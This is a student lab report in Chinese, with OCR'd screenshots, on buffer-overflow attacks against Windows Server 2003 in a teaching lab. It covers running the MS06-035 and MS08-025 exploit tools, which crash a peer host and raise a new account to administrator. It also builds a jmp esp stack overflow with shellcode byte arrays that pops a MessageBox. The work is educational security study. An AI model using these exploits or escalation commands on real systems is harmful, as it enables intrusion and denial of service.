

姓			名	薛旗	学			号	20155362			
班			级	软信-1503	指	导	教	师	徐剑			
开	设	学	期	2	017	-20	18 第	; _	学 期			
实	验	题	目		缓冲区溢出							
实	验	日	期			201	8.05.	05				
还	÷	出	体		评	定	人签	字				
ч	尺	<i>А</i> Ц	坝		评	定	日	期				

东北大学软件学院

实验一 缓冲区溢出攻击

一、实验环境

Microsoft Windows Server 2003

Enterprise Edition

Service Pack 1

二、实验原理(简述)

通过向程序的缓冲区写超出其长度的内容,造成缓冲区溢出,从而破坏程序的堆栈,使程 序转而执行其他指令,达到攻击目的。利用远程溢出,攻击者可以在没有任何系统账号的情 况下获得系统的最高控制权。

ms06035 漏洞是 server 服务中的漏洞允许执行远程代码,成功的利用此漏洞,攻击者可以 对被攻击主机进行远程操纵,随后可安装程序,查看、更改或删除数据,更为严重的,能够造成 被攻击主机蓝屏,死机,自动重启等等,其破坏性相当严重。

ms08025漏洞,攻击者可能会利用此漏洞危及系统的安全,并获取对该系统的控制权。攻击 者成功的以普通用户登录到系统后,可以在本地进行权限提升,把普通用户的权限提升到管理 员的权限。得到管理员的权限后,便可为所欲为,对系统进行各种操作。

三、实验步骤

描述实验过程,关键过程要有截图。

1. 利用 ms06035 漏洞进行攻击

(1) 进入"ms06035 漏洞利用工具"目录。

主机 A 点击开始->运行->cmd 打开命令提示符,输入命令:

cd D:\ExpNIC\NetAD\Tools\OverFlow\RemoteOverflow 进入工作目录

(2) 查看当前目录内容。

主机 A 用 dir 命令查看当前目录中的内容,如下图所示:

		4
	्त 命令提示符 Microsoft Windows [版本 5.2.3790] (C) 版权所有 1985-2003 Microsoft Corp. D:\ExpNIC>d:	
Internet Biplorer	D: \ExpNIC>cd NetAD\Tools \OverFlow\RemoteOverflow D: \ExpNIC\NetAD\Tools \OverFlow\RemoteOverflow>dir 驱动器 D 中的卷没有标签。 卷的序列号是 5485-69D8 D: \ExpNIC\NetAD\Tools \OverFlow\RemoteOverflow 的目录 2012-07-24 09:30 (DIR> 2012-07-24 09:30 (DIR> 2012-07-06 15:24 188,416 CreateShellCode.exe 2006-12-15 01:55 31,131 ms06035.exe 2012-07-06 15:24 19,456 ms08025.exe 2012-07-06 15:24 159,744 OverFlowClient.exe 2012-07-06 15:24 163,840 TelnetClient.exe 2012-07-06 15:24 163,840 TelnetClient.exe	
	D: \ExpNIC\NetAD\Tools \OverFlow\RemoteOverflow>	rver 2003

上图中标注的"ms06035.exe"即为ms06035漏洞利用工具。

(3) 使用"ms06035工具"进行攻击。

主机 A 执行"ms06035.exe 主机 B 的 ip 445"命令,发起对主机 B 的攻击。

(4) 主机 B 观察被攻击现象。

主机 B 被攻击后出现蓝屏死机的现象(实验结束,主机 B 点击"Hard Reboot"恢复实验环境)。

2. 利用 ms08025 漏洞进行攻击

以下步骤两主机互相攻击对方,操作相同,故以主机 A 为例说明实验步骤。

「注」主机 B 进入 D:\ExpNIC\NetAD\Tools\OverFlow\RemoteOverflow 目录。将

ms08025.exe 复制到 D 盘的根目录下,以便实验下一步进行。

(1) telnet 登录系统。

主机 A 在命令行下使用 telnet 登录同组主机,当出现"您将要把您的密码信息送到 Internet 区内的一台远程计算机上,这可能不安全,您还要发送吗(y/n)"当出现此提示时, 选择 n,输入登录账号"student",密码"123456"。登录成功如下图所示。



主机 A 依次输入"d:" | "dir" 查看同组主机 D 盘根目录,"ms08025.exe" 即为实 验工具。



(2) 使用系统命令添加用户。

主机 A 使用 "net user student1 /add" 命令来试添加一个用户 "student1",执行 该命令,出现"发生系统错误 5,拒绝访问"的提示,如下图所示:



(3) 查看 ms08025 工具使用方法。

NN

主机 A 在 telnet 命令行中输入"ms08025. exe", 查看工具的使用方法, 如下图所示



(4) 使用 ms08025 工具添加用户。

主机 A 执行"ms08025.exe"net user student1 /add""命令,提示命令成功完成, 证明用户 student1 成功添加,如下图所示:

N



(5) 查看用户信息。

主机 A 用命令"net user student1"查看用户 student1 的信息,发现用户 student1 创建成功,隶属于 Users 组。如下图所示:

N



(6) 用 ms08025 工具对新建账户提权。

2

主机 A 执行"ms08025.exe "net localgroup administrators student1 /add"" 命 令将新建账户"student1"添加至管理员用户组,如下图所示:



主机 A 使用命令"net user student1"查看用户 student1 信息,可发现用户 student1

已被提升到管理员权限,如下图所示:

NN



查看 student1 的用户信息,并截图。

四、实验结果总结

通过本次实验,我对缓冲区漏洞有了一个比较清晰的认识,知道了如何通过相关漏洞利用 缓冲区溢出获得系统的最高控制权,破坏操作系统,知道了其危害。这提醒我在编写程序时 要有责任和义务养成安全编程的思想,并熟悉那些可能会产生缓冲区溢出漏洞的函数,要对 缓冲区边界进行检查。本次实验还提高了自己的团队协作能力,获益匪浅。

实验二 利用跳转指令实现缓冲区溢出

一、实验环境

Microsoft Windows Server 2003

Enterprise Edition

Service Pack 1

二、实验原理(简述)

通过向程序的缓冲区(堆、栈等)中写入超出其长度的数据,造成缓冲区溢出。缓冲区的溢 出可以破坏程序执行流程,使程序转向执行其它指令。利用缓冲区溢出可以达到攻击主机的目 的。

攻击者可以利用缓冲区溢出漏洞,通过溢出来获取程序的控制权。若此程序具有足够的权限,则攻击者就因此获得了系统的控制权。要实施一次有效的缓冲区溢出攻击,攻击者必须完成如下任务:

①在程序的地址空间里植入适当的代码(称为 shellcode)用于完成获取系统控制权等非法任务。

②通过修改寄存器或内存,让程序执行流跳转到攻击者植入的 shellcode 地址空间执行。

三、实验步骤

描述实验过程,关键过程要有截图。

1、溢出程序演示

点击"Vstart"工具集->网络攻防->OverFlow(D:\ExpNIC\NetAD\Tools\OverFlow) 进入实验目录。进入Mission1目录,双击overflow win.exe,加载ShellCode执行溢出操作。

将结果截图并上传:

X
关于
61 61 61 61 aaasaaaaaaaaaaaaaaaaaaaaaaaa
Windows Server 2003

2、溢出实现

本练习操作通过缓冲区溢出来实现弹出消息框(MessageBox 对话框)。针对 windows 平台实现缓冲区溢出,该实验实现溢出的方式及流程具有着一定的通用性。

我们需要开发实现两部分内容:一部分是漏洞程序 overflow,该程序通过 memcpy 函数实现缓冲区溢出,当然你也可以通过其它函数实现溢出。另一部分内容则是生成 shellcode, shellcode 是程序溢出后欲执行的指令代码,如通过 shellcode 实现程序溢出后 弹出对话框等功能。

在程序正常执行时, memcpy 函数被执行完毕后,指令指针会返回至 ret 地址处,继续 执行 memcpy 函数调用处的后续指令;同时,执行完 ret 指令后 ESP 指针也会指向堆栈原始区 (调用 memcpy 函数前一时刻的堆栈分布)。因此,我们可以将溢出代码 shellcode 存在堆栈 原始区,而剩下的工作就是在 memcpy 执行返回时让 EIP 指针指向原始区(也就是 ESP 指针指 向的地址)即可。如何通过 ret 返回地址确定此时的堆栈 ESP 指针指向呢?在这里采用的方法 是通过跳转指令"jmpesp"(无条件跳转至 esp 指向处执行)。通过在用户地址空间中查找到 包含有"jmpesp"指令的存储地址,用该地址覆盖 ret 返回地址就可以了。

在具体实现时,我们通过三个步骤完成缓冲区溢出:

①编写前导码。

所谓前导码就是用于覆盖局部变量到ret返回地址之间的堆栈空间(不包括ret返回地址空间)的指令码。前导码仅是用于填充堆栈,所以其内容不受限制。我们需要在实际的调试中来确定前导码的大小。

「说明」c1、gcc 等诸多 C 编译器在为局部变量申请内存空间时, 经常要多出若干 字节。

②查找 jmpesp 指令地址。

用"jmpesp"指令的地址覆盖 ret,就可以在 memcpy 执行返回后,让 CPU 执行跳转 指令,所以首要解决的是在用户空间中找到含有"jmpesp"指令的地址。通过 VC++6.0 的反 汇编功能得到"jmpesp"指令的机器码为 0xFFE4。利用 Find Jmpesp 工具进行指令查找,确定 一个含有"jmpesp"指令的内存地址。

「注」在用户地址空间中会存在多个包含有 jmpesp 指令的地址。

③shellcode 功能体。

shellcode 功能体实现了溢出后主要的执行功能,如创建超级用户,提升用户权限等。在这里我们通过自定义指令来实现弹出用户对话框。

(1) 编写前导码

点 击 "Vstart " 工 具 集 -> 网 络 攻 防 ->OverFlow2 (D:\ExpNIC\NetAD\Projects\OverFlow),进入实验目录,打开工程文件。该工程包含两个 项目, overflow和CreateShellcode项目,建议在debug版下进行开发调试。

将 overflow 项目设置为启动项目 (Set as Active Project), 该项目仅有一个源文 件 overflow.c,在此源文件中提供了部分代码,注释的地方需要你根据实际调试结果来填写。 展开 overflow files 前的加号,继续展开 Source Files 前的加号,双击 overflow.c,将光 标调整到源代码的第 34 行的大括弧的前面,按 F9 设置断点,点击菜单栏中的 Build Rebuild All,把修改的内容重新保存一下。 具体操作如下图:



程序中提供了一个超长前导码,你需要对程序进行调试来确定实际需要的前导码长度。按F10,对代码进行单步调试,直到调试到断点位置。按Alt键的同时按8,进行反汇编,然后在代码的任意空白处点击鼠标右键,选择Code Bytes,如下图:

🐝 overflow – Nicrosoft Visual	C++ [break] - [Disas	sembly]	_ 8 ×
	t Pro 149 120	<u>K</u> elp	_ 8 ×
	2 - C - B B B		
	hal mambara	d upor 22 library	
34: {	nuch	ebn	<u> </u>
	mou	ebp ecp Bebrg	
004010E3 83 FC 4C	sub	PSD 400 m m l + D m o w l	
004010E6 53	nush	ehx 🗈 🗈 🗊 🕑 🔶 😚 🕂 🖓 🕈	
004010E7 56	nush		
004010E8 57	nush	edi	
004010E9 8D 7D B4	lea	edi [ehn=4Ch]	
004010EC B9 13 00 00 00	mov	ecx.13h	
AA4A1AF1 B8 CC CC CC CC	mnu	eax.ACCCCCCCD	
004010F6 F3 AB	rep stos	dword ptr [edi]	
35: char buffer[1	01:	F []	
36: memcpu(buffe	r. DShellcode. dwLe	en):	
004010F8 8B 45 0C	mov	eax.dword ptr [ebp+0Ch]	
004010FB 50	push	eax	
004010FC 8B 4D 08	mov	ecx,dword ptr [ebp+8]	
004010FF 51	push	ecx	
00401100 8D 55 F4	lea	edx,[ebp-0Ch]	
00401103 52	push	edx	
00401104 E8 87 03 00 00	call	memcpy (00401490)	
00401109 83 C4 0C	add	esp.0Ch	
37: }			
0040110C 5F	pop	edi	
0040110D 5E	pop	esi	
0040110E 5B	pop	ebx	
0040110F 83 C4 4C	add	esp,4Ch	
00401112 3B EC	стр	ebp,esp	
00401114 E8 37 03 00 00	call	chkesp (00401450)	
00401119 8B E5	mov	esp,ebp	-
•			Þ
Context: overflow(char *, ups	signed long)	▼ × Name Value	
	•		
	6		
	040CCC+		
The house and ho	012TT54		
Auto / Locals > this	23450789@HBCDEFGHII	Vatch1 / Watch2 \ Watch3 \ Watch4 /	
Beady			
APT拍 🚳 🚳 🚯 繰加マ送中	ם אוגע אוני		🌦 🔳 🤽 🧿 0:40
	р. сехритс	the cho are	S S S S S 3:40

然后继续按 F10 进行单步调试,将看到 overflow 调用返回,具体调试结果如下图:

🐝 overflov – 🔳 i	crosoft Vis	ual C++ [break] - [Disassembly]		-		×
Eile Eile Y	e inet i	այնեւ ներնայւ≣վաղեւավ	ndøv <u>H</u> elp			_ 8	x
12 🖉 🖬 🖗	X 🖻 🖻	<u>∽</u> ⊡ ⊼		- 24			
(Clobale)	TAIL	alabal members	l and ucer32 library		🚸 🏨 🗶 🔳 🦛 🗞		
			Coau_usersz_inbrary				
36: m	encpy(buf	fer, pShellcode,	dwLen);	001 7			Ņ
004010F8 8B	45 86	mov	eax,dword ptr [e	bp+UCh			
004010FB 50		pusn	eax Jebug		×		
004010FC 8B	4D 08	mov.	ecx,awo 🗈 🕱 🗐	By b b b	*()		
004010FF 51	FF F1	pusn	ecx				
00401100 80	55 F4	Teq	eux,[en 66, [Bals	ലെയില്			
00401103 52	07 00 00	pusn	eux	`			
00401104 E8	87 03 00	00 COTT	nencpy (00401490)			
00401109 83	64 06	add	esp,øcn				
37: }							
00401106 5F		pop	eui				
00401100 5E		pop	e51				
0040110E 58	0.6 6.0	pop	eDX				
0040110F 83	64 46 F0	auu	esp,401				
00401112 30	EU 97 89 88	00 op11	eup,esp (000010	E @ \			
00401114 E8	37 03 00 EE	00 Call		20)			
00401119 86	ED	NUV	esh'enh				
		hoh	enh				
	oo (ilo	ret					
	ce file -	int	9				
00401110 CC		int	3				
00401112 00		int	3				
00401117 00		int	3				
00401120 00		int	3				
00/01121 00		int	3				
00401122 00		int	3				
00401120 00		int	3				
00401125 CC		int	3	-			
00401125 00		1	-				-
Context: over	rflow(char *,	unsigned long)			Value		
	1	alue					
Duffer[1	ช <u>า</u> ่เ	XX0069: Error: V	ariable needs stack f	ra 👘			
dwLen		CXX0030: Error: e	xpression cannot be e	Vē			
pShellcom	de í	XX0030: Error: e	xpression cannot be e		-		
Auto /	Locals) th	is /	•		t ch1 / Watch2 λ Watch	n3 \ Watch4 /	d.
		f			A		-
🛃 开始 🔞 🥭	🍯 緩冲区溢	🗄 🔁 🖸 : \1	ExpNIC\NetAD\Pro 🐼 over	flow - Microsof	D:\ExpNIC\NetAD\Pro	ه 😥 🏷 👔 😓	1

再按一下 F10, 将看到 ret 返回地址的信息, 具体操作如下图:

🦇 overflow - 🔳	icrosoft Visua	al C++ [break] - [Di	sassembly]				_ 8 ×
File Ent 1	<u>0 195 19</u>	<u> Շ</u> ւ թա₀.յփդ ւմյան	w <u>H</u> elp				_ 8 ×
(Globals)	💌 (All gl	obal members 🔽 💊 l	.oad_user32_library	<u>-</u> × -	🛛 🕸 🛗 👗 😫 🕲		
➡ 49484746	???						•
49484747	???						
49484748	???		Debug		×		
49484749	???		I I I	្រា/ក្រារាវា	4 +4 3	Т	
4948474A	???					T	
4948474B	???		66° 📈	💭 🖂 🗔 🔂 💭 –			
49484740	???						
4948474D	???						
4948474E	???						
4948474F	???						
49484750	???						
49484751	???						
49484752	777						
49484753	777						
49484754	777						
49484755	777						
49484750	111						
49484757	111						
49404750	222						
49404759	222						
49404758	222						
10181750	222						
49404750	222						
4948475F	222						
4948475F	222						
49484760	222					<u> </u>	
49484761	222						
49484762	???						_
•							•
× a · · · · · · · · · · · · · · · · · ·	10.17.100						
\square Context: 494	4847460				Value		
Name	Va	lue					
🕑 overflow	w returned≺v	oid>					
Auto	(Locals λ this	s /			Match1 / Watch2) Watc	ch3 λ Watch4 /	
🍠 开始 🔯 🚄	🌇 缓冲区溢出	🔁 D: \Exp	NIC'NetAD\Pro	erflow - Microsof	D:\ExpNIC\NetAD\Pro		9:41 😸 🔊

调试确定前导码长度

在上图中可以看出, 0x49484746 四字节覆盖了 ret 返回地址, 请根据调试结果重新 确定 shellcode 指令集长度, 确定 ret 返回地址能够被前导码的后续 4 字节覆盖。按 Shift 键同时按下 F5, 停止单步调试, 等待查找到 jmpesp 指令地址后再修改 shellcode 指令集。

(2) 查找 jmpesp 指令地址

我们需要在用户地址空间中找到包含有 jmpesp 指令(机器码为 0xFFE4)的地址。运行 FindJmpesp 工具,选取一个地址追加到 shellcode 尾(追加填加地址时注意数组高字节对应地址高位),所选 jmpesp 指令地址是 0x77e424da。

on C:\tools\网络攻防工具集\FindJapesp\FindJapesp	
user32空间查找	*
找到jmp esp指令 地址:0x77e424da	
找到jmp esp指令 地址:0x77e7e65b	
找到jmp esp指令 地址:0x77e7e66b	
找到jmp esp指令 地址:0x77e?e677	
找到jmp esp指令 地址:0x77e84b28	
找到jmp esp指令 地址:0x77e85998	
找到jmp esp指令 地址:0x77e85ac8	
找到jmp esp指令 地址:0x77e860ec	
找到jmp esp指令 地址:0x77e871f7	
找到jmp esp指令 地址:0x77e872bf	
找到jmp esp指令 地址:0x77e87564	
找到jmp esp指令 地址:0x77e8756c	
衣到jmp esp指→ 地址:0x77e87570	
找到jmp esp指令 地址:0x77e877d3	
达到jmp esp指令 地址:0x77e87984	
我到jmp esp指令 地址:@x77e87988	
瓦剉jmp esp指令 地址∶0x77e8798c	
広到jmp esp指令 地址:0x77e87a1b	
区到jmp esp阳学 地址:0x77e8?a50	
[茲剉jmp esp指令 地址:0x77e87a58	
汉判jmp esp指令 地址:0x77e87adf	
这到jmp esp指令 地址:0x77e87fa3	
达到jmp_esp指令 J地址:0x77e8864b	

跟踪调试程序,确定在 memcpy 执行返回时 jmpesp 指令是否被执行。调试过程如图

所示。

「说明」可以在 shellcode 尾部继续追加空指令(0x90, 空指令不进行任何操作),这样 便于确定执行 jmpesp 后指令指针的指向。

	un };	signed	char	shi	-11c	ode[]	=	{0x30,	0x31, 0x40, 0xda,	0x32, 0x41, 0x24,	0x33, 0x42, 0xe4,	0x34, 0x43, 0x77,	0x35, 0x44, 0x90,	0x36, 0x45, 0x90,	0x37, 0x90	0×38,	0x39,
		994011 904011 304011 304011 904011 904011 904011 904011 904011	0C 5 0D 5 0F 8 12 3 14 E 19 8 1B 5 1C C	F B B B B B B B B B B B B B B B B B B B	4 4(C 7 Ø3 5	; 3 00	88		pop pop add cmp call mov pop ret		edi esi esp esp esp esp esp	i (),4Ch),esp chkesp),ebp)	(884	01450)		
C		7E424 7E424 7E424 7E424 7E424)A FI)C 03)E 0 E1 8	F E ^J 3 01 0 7(1 FI	4 3 5 10 5 E5	03	00	00	jmp add add cmp		esp eax byt edi	,dwor e ptr	d ptr [esi	[eax] ⊧10h],	 , dh		

-> 001	2FF10 90	nop
001	2FF11 90	nop
001	2FF12 90	nop

🤲 overflow - Microsoft Visual C++	+ [break] - [Dis	assembly]		_ 8 ×
Eile LEUL LEON THOM THOMES THOMES	1919 Mar 1914	Help		_ 8 ×
		"		
(Globals) (All global	members 🗾 💊 ov	verflow	_ ヽ + ♥ 🕮 👗 ! 💷 🖱	
➡ 0012FF10 90	nop			
0012FF11 90	nop			
0012FF12 90	nop			
0012FF13 CC	int	3		
0012FF14 C0 FF 12	sar	bh,12h		
0012FF17 00 00	add	byte ptr [eax],al		
0012FF19 00 00	add	byte ptr [eax],al	Debug	
0012FF1B 00 00	add	byte ptr [eax],al	- C* +0, +0, +0, -10, -10, -10, -10, -10, -10, -10, -1	
0012FF1D 00 00	add	byte ptr [eax],al		
0012FF1F 00 00	add	byte ptr [eax],al	900° 1954 1956 19564 1954 1954 1954 1954 1954 1954 1954 1954 1	
0012FF21 E0 FD	Loopne	0012FF20		
0012FF23 /F CC	19	0012FEF1		
0012FF25 UU	100	3		
0012FF20 UU	100	J 0		
00120027 00	int	2		
00125520 00	int	2		
0012FF29 66	int	2		
0012FF2R CC	int	2		
0012FF2C CC	int	3		
0012FF2D_CC	int	3		
0012FF2F CC	int	3		
0012FF2F CC	int	3		
0012FF30 CC	int	3		
8812FF31 CC	int	3		
0012FF32 CC	int	3		
0012FF33 CC	int	3		
0012FF34 CC	int	3		
0012FF35 CC	int	3		_
•				•
Context: 0012ff100				
Name Value				
Auto / Locals / this /			▼ Vatch1 / Watch2 / Watch3 / Watch4 /	
Ready				
A 开始 👩 🚿 😗 网络山区港山	1 3 带的电脑	日 相表往用		10.00
		送永结木	J 🐼 OVERIIOW - M1 🔤 C:\tools\Myst	10:06

在 jmpesp 后是 4 个空指令

从上图可以看出,在 jmpesp 指令执行完毕后,指令指针紧接着执行了 3 个空指令, 而空指令是追加在 shellcode 尾部的。所以我们下一步所要做的工作就是将实现弹出对话框 的指令码追加至 shellcod 中 jmpesp 指令地址的后面。

(3) 生成实现弹出对话框的指令码

我们最终的目的是要通过缓冲区溢出实现弹出消息对话框,而这些功能都应该在 shellcode 得以实现。通过在 shellcode 中调用 MessageBoxA API 函数,并确定好 MessageBoxA 所需的 4 个参数:窗体句柄、标题显示、内容显示和风格即可以实现弹出指定内容的对话框。 根据 Windows API 文档, MessageBoxA 依赖于 user32.1ib, 也就是说它位于 user32.dll 动态链接库中。单击工具栏 "Depends" 按钮, 启动 Depends 工具, Depends 打开 应用程序 D:\ExpNIC\NetAD\Tools\OverFlow\Mission1\overflow_win.exe, 可以发现它将加载 user32.dll。然后寻找 MessageBoxA 函数的内存位置。具体操作如图所示。

Dependency Talk ile Edit View Mi	ter – overflor_vin. indox Help							-1013	
🛎 🔎 cil 🚙		1					•		
overflor_vin.e	ze							- 0 ×	
MSVCR80. DJ	Ordinal	5 H	int	Function		Entr	ry Poin +		
E KERNEL32. 1	DLL	N/A		9 (0x0009	 AppendMenuW 		Not	Bound	
I NTDLL	DLL.	N/A	1	82 (0x00B6)	DrawIcon		Not	Bound	
E USER32 DL	L	1 N/A	- 4	96 (Dx00C4)	EnableWindo	Ŵ	Not	Bound	
🖻 🗖 GDI32.	DLL	1 N/A	2	55 (0x00FF)	GetClientRe	et	Not	Bound -	
E ADV	APIS2 DLL	I N/A	3	48 (0x015C)	GetSystemMer	nu	Not	Bound	
	KKENEL32. DLL	N/A	3	49 (0x015D)	GetSystemMe	trics	Not	Bound	
	NTDLL DLL	N/A	4	22 (Ux01A6)	Isleonic		Not	Bound _	
8.0	RPCRT4. DLL	Ordinal	+ H	int	Function		Enti	ry Poin -	
	A PERMISS DLL	e 478	a 476 (Ox01DE) 477 (Ox01DD) MenuWindowProcW				0x00	004574D	
	NERMELSE, DLL	6 479 (OxO1DF) 478 (OxO1DE) MessageBeep				0x00	0x00024986		
T 1770	MELOD DIL	480	(0x01E0) 4	79 (Ox01DF)	MessageBozA		0x 00	DO3D8DE	
11/1	NGLOZ, DLL	481	(Ox01E1) 4	80 (0x01EO)	MessageBoxE	xA	0x00	0030070	
S NID	LL. ULL	482	(Dz01E2)	81 (0x01E1)	MessageBoxE:	кW	0x00	0x000319A9	
I USE	K32 DLL	483	(0x01E3) 4	82 (0x01E2)	MessageBoxI	ndirectA	0x00	JOIDE54	
S KERNEL	32. DLL	484	(0x01E4) 4	83 (Uz01£3)	MessazeboxL	ndirectW	UxU	JUZPPEA	
Module -	Time Stamp	58.2.4	Attributes	Machine	Subsystem	Debug	Base	File -	
ADVAPI32 DLL	05/01/05 8:00a	586, 592	A	Intel x86	Win32 console	Yes	0x77F30000	5.2.3	
COMCTL32 DLL	04/04/05 9:44p	599, 040	A	Intel x86	Win32 GUI	Yes	0x77370000	5.82.	
GDI32 DLL	05/01/05 8:00a	279, 552	A	Intel x86	Win32 consols	Yes	0x77BD0000	5.2.2	
KERNEL32. DLL	05/01/05 8:00a	1, 205, 248	A	Intel x86	Win32 console	Yes	0x7C800000	5.2.5	
?) MFC801) DLL	File not Found in 1	ccal dire	chiry or sears	ih path	and the state of the	V	A		
MSVCR80 DIL	Tils not E und in 1	ocal dira	chiry or rear	h pate					
	I am to state of the later of the		1.1	10.000	1	1	1	(In a pr	
1						1.00		200	

计算 MessageBoxA 绝对内存地址

①在左侧 Module 树状视图中选中"USER32.DLL"节点;

②在右侧导出函数列表视图中遍历 Function 属性列,查找函数"MessageBoxA"(序 号 480);

亏 480);

③在下侧 Module 列表视图中遍历 Module 属性列,查找模块"USER32. DLL"。

在这里的 user32.dll 中, MessageBoxA (ASCII 版本)函数的偏移量(Entry Point) 为 0x0003D8DE。User32.dll (Module)在内存中的起始地址(Base)为 0x77E10000。将两者相加 即可得到 MessageBoxA 函数的绝对内存地址。所以我们需要在汇编代码中正确设置堆栈并调 用 MessageBoxA 函数的绝对内存地址,该地址为 0x77E4D8DE。(字母大写)

另外还需要调用执行函数 ExitProcess(位于 KERNEL32. dl1 中),其目的就是在单击 弹出框"确定"按钮后程序自动退出,函数 ExitProcess 的绝对内存地址 0x7C813039。(字 母大写)

Module	Time Stamp		Size	Attributes	Machine	Subsystem	Debug	Base
ADVAPI32. DLL	05/01/05	8:00a	686, 592	A	Intel x86	Win32 console	Yes	0x77F30000
COMCTL32. DLL	04/04/05	9:44p	599,040	A	Intel x86	Win32 GUI	Yes	0x77370000
GDI32 DLL	05/01/05	8:00a	279, 552	A	Intel x86	Win32 console	Yes	0x77BD0000
KERNEL32 DLL	05/01/05	8:00a	1,205,248	A -	Intel x86	Win32 console	Yes	0x7C800000

在 overflow 工程中将 Createshellcode 项目设置为启动项目,该项目仅有一个源 文件 Createshellcode.c,在此源文件中提供了全部的代码及注释说明。代码的主体部分是用 汇编语言实现的,其功能就是实现弹出对话框后自动退出程序。

将函数 MessageBoxA 和 ExitProcess 的绝对内存地址填写到指定位置。

在理解了 Createshellcode.c 中的汇编部分代码后,就可以利用 VC++6.0 反汇编功能获取代码字节,调试过程如图所示。

Disassembly		
42:	push ebp;	✔ 保护当前基址寄存器状态,基址指针入栈 pushu sbu
43:	push ecx:	//保护当前ecx寄存器状态,ecx指针入栈
C 004010F8 51	, end erne	push ecx
44:	nov ebp. esp	1 改变基址指针、使其指向当前堆栈栈顶
004010F9 88	EC	nov epp.esp
45:	sub esp. 54h	11 申请54h字节空间,局部变量参数暂存此空间内
08401058 83	EE SU	500 850,50h
46:	xor ecx, ecx	// 清空ecx寄存器
884810FE 33	69	KOP ECK, ECK
47:		
48:	// Messagebo	≫A显示内容 ^o^堆栈成功溢出!
49:	// 利用Ultra	Edit等十六进制编辑工具获取显示内容的十六进制数据格式
50:	mov byte ptr	[ebp-14h],5Eh
00401180 06	45 EC SE	mov byte ptr [ebp-14n],SEN
51:	mov byte ptr	[ebp-13h],6Fh
88481104 Cd	45 ED 6F	mov byte ptr [ebp-13h],úľh
52:	mov byte ptr	' [ebp-12h],5Eh
00401108 66	AS EE SE	mov byte ptr [ebp-12h],5Eh
53:	mov byte ptr	[ebp-11h],2Eh
8848118C C6	45 EF 2E	mav byte ptr [ebp-11h],2Eh
54:	nov byte ptr	[ebp-10h],02Eh
08481118 66	15 FR 2E	moy hyte ptr [ebp-100],2Eh
55:	mov byte ptr	[ebp-0Fh],0B6h
88481114 66	45 F1 B6	mov byte ptr [ebp-0Fh],0B6h
56:	mov byte ptr	'[ebp-0Eh],0D1h
00401118 Cd	45 F2 01	mou byte ptr [obp-01b],001b
	- main bitta atu	Faha Ahbi Ahfh

显示代码字节

🍁 overflov - ∎icrosoft Visual C++ [break] - [overflov.c *]	_ 8 ×
E File Jew Two Twee Block Bogs winter Felb	_ 8 ×
A B B A B B A B B A B B B A B B B B	r 🖾 🗖 🖂 🗆 🖉 🖉
[Globals] 🔽 [All global members] 🖌 🕼 Load_user32_library 🔄 🌂 🗸 🕼 🕮 🚣 🗜 💷 🖱	
*/	
unsigned char shellcode[] = (0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39,	
0×40, 0×41, 0×42, 0×43, 0×44, 0×45, 0×42, 0×24, 0×27, 0×29, 0×90, 0×90	
0x55,	
0x51,	
9x33, 9x86, 9x54, 9x33, 9x69,	
Øxc6, Øx45, Øxec, Øx5e,	
Øxc6, Øx45, Øxed, Øx6f,	
0xc6, 0x45, 0xee, 0x5e,	
9xc6, 9x45, 9xcr, 9xcr, 9xcr,	
0xc6, 0x45, 0xf1, 0xb6,	
0xc6, 0x45, 0xf2, 0xd1,	
$\theta_{\rm XCG}$, $\theta_{\rm X45}$, $\theta_{\rm Xd5}$, $\theta_{\rm Xd5}$,	
9xc6, 9x45, 9x45, 9x14, 9x00,	
Øxc6, Øx45, Øxf6, Øxc9,	
0xc6, 0x45, 0xf7, 0xb9,	
$\beta_{\rm MCG}$, $\beta_{\rm MCF}$, $\beta_{\rm MCG}$, $\beta_{\rm MCG}$, $\beta_{\rm MCG}$	
9xc6, 9x45, 9x45, 9xd2,	
Øxc6, Øx45, Øxfb, Øxb3,	
0xc6, 0x45, 0xfc, 0xf6,	
$\theta_{XC6}, \theta_{X45}, \theta_{X76}, \theta_{X21}, \theta_{X92}$	
0x51.	
0x8d, 0x45, 0xf1,	
0,50,	
Ux8d, Ux45, Uxec,	
0x51,	
0xc7, 0x45, 0xe0, 0xde, 0xd8, 0xe4, 0x77,	*
	Þ
X C Vatcni & watcni & watc	
Ready Ln 54, Col 5	I REC COL OVR READ
🎢 开始 🞯 🥭 🌁 緩冲区溢出 🛛 🚽 我的电脑 🖉 複素结果 🛛 🐼 overflow 🚾 C:\tools\ 🖳 🔩 Dependency 🕅 📼 D:\ExpM	IC\ 💩 🛃 🇞 🕜 11:02

将代码字节以十六进制数据形式继续追加到 shellcode 尾。将运行结果截图并上传: TU I NO.

🤲 overflov – 🛙 icr	osoft ¥isual C++ - [overflow.c]				_			_ 8 ×
E 110 201 18	<u>105-105 111.06 39</u>	<u>H</u> elp						_ 8 ×
12 🔁 🖬 🖓	6 🖻 🛍 🗅 • 🖙 🗖 🗖 🗟	P		overflow	▼ Win32	Debug		- 😂 🛅 👗
(Globals)	💌 (All global members 💌 💊 ma	ìin	• 🗟 •] 🏶 🛗 👗	: 🗉			
	*D:\ExpHIC\NetAD\Projects\Overl	low2\Mission1\Debug\ove	rflov.exe"		<u>_ ×</u>	1 1x36 Øx37	Øx38 Øx	39
E Globa						1x45,	0.000, 0.0	
- Poverf 1					_	XYU, 0XYU,		
💊 ma						I		
····· 🖗 OV:		推生出话送中						
_			0×88, 0×4	ld, Øxfe,	•	1		
	Þ		0x51, 0x8d, 0x4	5. Øxf1.				
ClassV 📄 F	ileView		1 77					• •
×								
overflow.exe	- 0 error(s), 0 warning(s)							
								-
Build D	Debug λ Find in Files 1 λ Find	in Files 2 λ Results $\}$						
	(6)+(7)+(1) > = (1)		1			Ln 53, Col 40		DL OVR READ
11 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1	〒2 Windows▼	🔊 overflow – 🔤 C:\tool	ls\ ■⊑ Dep	endency	D:\ExpNIC		mm (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)	🔊 🏷 🕧 11:06

四、实验结果总结

通过上机实验,我对缓冲区溢出有了更加清晰的认识,知道了要完成一次有效的缓冲区溢 出攻击,攻击者必须完成的两项任务:在程序的地址空间里植入适当的代码(shellcode)、通 过修改寄存器或内存,让程序跳转到攻击者植入的 shellcode 地址空间执行。通过亲自实践 实现了利用跳转指令实现缓冲区溢出,获益匪浅。